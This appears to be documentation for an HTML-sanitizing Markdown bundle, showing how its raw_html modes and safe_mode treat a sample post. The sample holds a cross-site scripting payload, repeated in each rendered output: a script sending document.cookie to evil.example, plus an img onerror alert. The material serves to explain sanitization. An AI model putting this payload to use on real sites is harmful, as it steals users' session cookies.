The bundle sanitizes raw HTML by default. The raw_html option controls how it is treated:
strip (default), escape, or allow. Setting safe_mode: false
disables sanitization entirely.
# User Post
Normal content here.
<script>document.location='https://evil.example/?c='+document.cookie</script>
<img src="x" onerror="alert('xss')">
More normal content.<section id="User-Post">
<h1>User Post</h1>
<p>Normal content here.</p>
<p><script>document.location=‘https://evil.example/?c=‘+document.cookie</script></p>
<p><img src=“x” onerror=“alert(‘xss’)”></p>
<p>More normal content.</p>
</section>
Normal content here.
<script>document.location=‘https://evil.example/?c=‘+document.cookie</script>
<img src=“x” onerror=“alert(‘xss’)”>
More normal content.
<section id="User-Post">
<h1>User Post</h1>
<p>Normal content here.</p>
<p><script>document.location=‘https://evil.example/?c=‘+document.cookie</script></p>
<p><img src=“x” onerror=“alert(‘xss’)”></p>
<p>More normal content.</p>
</section>
Normal content here.
<script>document.location=‘https://evil.example/?c=‘+document.cookie</script>
<img src=“x” onerror=“alert(‘xss’)”>
More normal content.
Raw HTML passes through. Only use with fully trusted input.
<section id="User-Post">
<h1>User Post</h1>
<p>Normal content here.</p>
<p><script>document.location=‘https://evil.example/?c=‘+document.cookie</script></p>
<p><img src=“x” onerror=“alert(‘xss’)”></p>
<p>More normal content.</p>
</section>
No sanitization at all.
<section id="User-Post">
<h1>User Post</h1>
<p>Normal content here.</p>
<p><script>document.location=‘https://evil.example/?c=‘+document.cookie</script></p>
<p><img src=“x” onerror=“alert(‘xss’)”></p>
<p>More normal content.</p>
</section>